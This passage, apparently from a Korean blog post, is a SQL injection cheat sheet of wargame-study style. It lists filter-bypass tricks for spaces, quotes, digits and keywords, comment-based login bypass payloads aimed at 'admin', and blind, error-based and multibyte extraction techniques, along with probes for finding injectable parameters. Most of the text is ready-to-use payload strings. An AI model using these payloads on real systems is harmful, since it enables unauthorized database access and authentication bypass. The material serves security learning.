  : 'admin' 필터링 시 'adadminmin' 등으로 우회 가능


 - numeric character filtering

  : 0 -> '!'='@'

  : 1 -> '!'='!' 등으로 true, false 및 수식을 이용하여 숫자를 표현 가능


 - White Space Filtering (%20)

  : %20 -> %0a %0b %0c %0d %09


 - Single Quote Filtering (%27)

  : Single Quote 안에서 Double quote를 쓰면 해결되는 경우도 있음

  : 특수한 조건에서 %bf%27 로 Multibyte를 만들어 필터링을 우회할 수도 있음 (하지만 거의 없는 경우)

  : '\' 백슬래시 문자가 필터링 되어있지 않은 경우 다음과 같은 상황에서 우회 가능

   ex. select test1 from test where id='\' and pw=' or 1#

     -> parameter : id=\&pw=%20or%201%23


 - 주석 

  : #, --, ;%00, /* */


 - 주석을 이용한 SQL Injection

  : '#'의 주석 범위는 1 line이다. 1 line을 나누는 기준은 %0a로 나뉘기 때문에 아래 예제와 같은 SQL Injection을 수행할 수 있다.

   * select test1 from test where id='abc'# and pw='%0a or id='admin'%23

  : /* */

   * select test1 from test where id='abc'/* and pw=''*/ or id='admin'%23


 - Blind SQL Injection 시 sub query의 결과로 여러 row가 나오는데 where 문을 쓸 수 없을 때

  : max(column_name), min(column_name), group_concat(column_name)


 - 테이블명, 컬럼명을 알아내야 할 때

  : select test1 from test where id='admin' and pw='1234' procedure analyse();

   * limit 2,1 등과 함께 사용하여 필요한 컬럼 명을 한 줄로 뽑아낼 수 있음


 - Error Based SQL Injection 할 때

  : 0xfffffffffffff*0xfffffffffffff 를 하면 Integer 범위 초과 에러가 발생한다


 - MultiByte Character SQL Injection

  : 'test1' 필드의 캐릭터가 아스키코드가 아닌 멀티바이트 캐릭터(ex. UTF-32 등)일 때는 다음과 같은 방법으로 SQL Injection을 수행할 수 있다.

   * substr(hex(test1),1,1)=0x41

    ※ MultiByte Character인지 알아보기 위한 방법으로는 '>'와 '<'를 이용하여 범위를 찾아나갈때 문자의 범위가 예를들어 20과 21사이로 나온다면(아스키 문자의 범위가 소숫점으로 나오는 경우는 없다) 멀티바이트 캐릭터라고 추측할 수 있다.


 - SQL Injection이 먹히는지 알아볼 때

  : '(싱글쿼터)를 썼을 때 에러가 나는지

  : ' and '1'='1    ,     ' and '1'='2  를 썼을 때 앞에건 정상적으로 출력되고 뒤에건 출력이 안나는지

  : ' or '1'='1 을 썼을 때 정상적으로 출력되는 지

  : 숫자로 이루어진 컬럼 (ex. idx=23001) 을 idx=23002-1 로 넣었을 때 정상적으로 출력 되는 지

  : '||' 를 썼을 때 정상적으로 출력되는 지 ( Restrict. DB가 Oracle이고 자료형이 Varchar로 선언되어 있을 때 )

  : 주석을 쓸때는 #(%23), -- (--%20), %0a



+ Recent posts